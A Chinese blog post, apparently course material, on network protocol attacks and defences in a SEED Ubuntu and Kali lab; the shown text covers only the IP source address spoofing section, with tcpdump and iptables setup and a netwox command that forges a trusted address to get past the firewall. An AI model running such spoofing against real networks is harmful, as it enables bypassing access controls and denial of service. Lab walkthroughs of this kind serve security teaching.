国信安——网络协议攻防

最新推荐文章于 2024-06-18 09:51:04 发布

原创

最新推荐文章于 2024-06-18 09:51:04 发布 · 3.6k 阅读

3 ·

CC 4.0 BY-SA版权

文章标签：

#网络协议 #网络 #linux

本文详细介绍了网络协议攻防的四个关键点：IP源地址欺骗DoS攻击、ICMP路由重定向攻击及防御、UDP Flood攻击、DNS欺骗攻击与防御。通过实例展示了攻击手段，如使用netwox、hping3和ettercap，并提出了相应的防御措施，如修改防火墙规则、禁止ICMP路由重定向、清理DNS缓存等。

一、IP源地址欺骗dos攻击

靶机： seed ubantu 12.04（发布者seed project）192.168.100.151
攻击机：kali linux 2.0（发布者 Offensive Security Ltd）192.168.40.132
1.在seed上开启tcpdump监听：tcpdump –i eth0 tcp port 80 -n –nn
在这里插入图片描述

2.在Seed节点上设置防火墙规则:
iptables -A INPUT -i eth0 -s 192.168.100.125/32 -j ACCEPT
iptables -A INPUT -i eth0 –s 192.168.100.1/32 -j ACCEPT
iptables -A INPUT -i eth0 -p all -j DROP
在这里插入图片描述

3 查看一下当前防火墙状态：iptables –L
在kali上利用netwox进行IP地址欺骗，伪装成192.168.100.125，突破防火墙限制，netwox 52 -E “0:1:2:3:4:5” -I “192.168.100.125” -e “00:0c:29:eb:98:60” -i “192.168.100.151”